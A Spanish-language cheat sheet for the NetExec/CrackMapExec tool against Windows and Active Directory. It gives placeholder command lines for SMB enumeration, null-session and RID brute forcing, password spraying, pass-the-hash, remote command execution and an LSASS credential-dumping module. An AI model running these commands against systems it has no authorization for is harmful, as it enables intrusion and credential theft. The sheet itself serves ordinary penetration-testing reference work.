NetExec (`nxc`) es el sucesor moderno de CrackMapExec (`crackmapexec`/`cme`). Se usa para enumerar,
validar credenciales y automatizar acciones en entornos Windows/Active Directory desde protocolos
como SMB, WinRM, LDAP, MSSQL o RDP.
~ βΈ Uso bΓ‘sico
ββ[ bash ]ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
nxc smb <IP/RANGO> -u <usuario> -p '<password>'
nxc smb <IP/RANGO> -u <usuario> -H <NTLM_HASH>
nxc winrm <IP> -u <usuario> -p '<password>'
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Con CrackMapExec clΓ‘sico la idea es equivalente:
ββ[ bash ]ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
crackmapexec smb <IP/RANGO> -u <usuario> -p '<password>'
crackmapexec smb <IP/RANGO> -u <usuario> -H <NTLM_HASH>
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
~ π EnumeraciΓ³n SMB
ββ[ bash ]ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
nxc smb <IP> -u '<usuario>' -p '<password>' --shares
nxc smb <IP> -u '<usuario>' -p '<password>' --users
nxc smb <IP> -u '<usuario>' -p '<password>' --groups
nxc smb <IP> -u '<usuario>' -p '<password>' --pass-pol
nxc smb <IP> -u '<usuario>' -p '<password>' --loggedon-users
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
~ βΈ Acceso nulo o guest
ββ[ bash ]ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
nxc smb <IP> -u '' -p '' --shares
nxc smb <IP> -u 'guest' -p '' --shares
nxc smb <IP> -u '' -p '' --rid-brute
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
`--rid-brute` puede ayudar a descubrir usuarios cuando SMB permite enumeraciΓ³n por RID.
~ βΈ Password spraying
ββ[ bash ]ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
nxc smb <IP/RANGO> -u users.txt -p 'Password123!' --continue-on-success
nxc smb <IP/RANGO> -u users.txt -p passwords.txt --continue-on-success
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Para evitar bloqueos de cuenta, revisar siempre la polΓtica de contraseΓ±as antes de hacer spraying:
ββ[ bash ]ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
nxc smb <DC_IP> -u '<usuario>' -p '<password>' --pass-pol
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
~ π Pass The Hash
ββ[ bash ]ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
nxc smb <IP> -u '<usuario>' -H '<NTLM_HASH>'
nxc winrm <IP> -u '<usuario>' -H '<NTLM_HASH>'
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Si aparece `Pwn3d!`, normalmente el usuario tiene permisos suficientes para ejecuciΓ³n remota sobre
ese protocolo.
~ βΈ EjecuciΓ³n de comandos
ββ[ bash ]ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
nxc smb <IP> -u '<usuario>' -p '<password>' -x 'whoami'
nxc smb <IP> -u '<usuario>' -p '<password>' -X 'whoami'
nxc winrm <IP> -u '<usuario>' -p '<password>' -x 'whoami'
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
`-x` ejecuta comandos vΓa cmd y `-X` vΓa PowerShell.
~ βΈ Local Auth
Para probar credenciales locales en lugar de dominio:
ββ[ bash ]ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
nxc smb <IP/RANGO> -u 'Administrator' -p '<password>' --local-auth
nxc smb <IP/RANGO> -u 'Administrator' -H '<NTLM_HASH>' --local-auth
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
~ βΈ MΓ³dulos ΓΊtiles
ββ[ bash ]ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
nxc smb <IP> -u '<usuario>' -p '<password>' -M spider_plus
nxc smb <IP> -u '<usuario>' -p '<password>' -M lsassy
nxc smb <IP> -u '<usuario>' -p '<password>' -M enum_av
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Para listar mΓ³dulos disponibles:
ββ[ bash ]ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
nxc smb -L
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
:: βΈ Referencias
~ NetExec Wiki - SMB shares
~ CrackMapExec Wiki - SMB Command Reference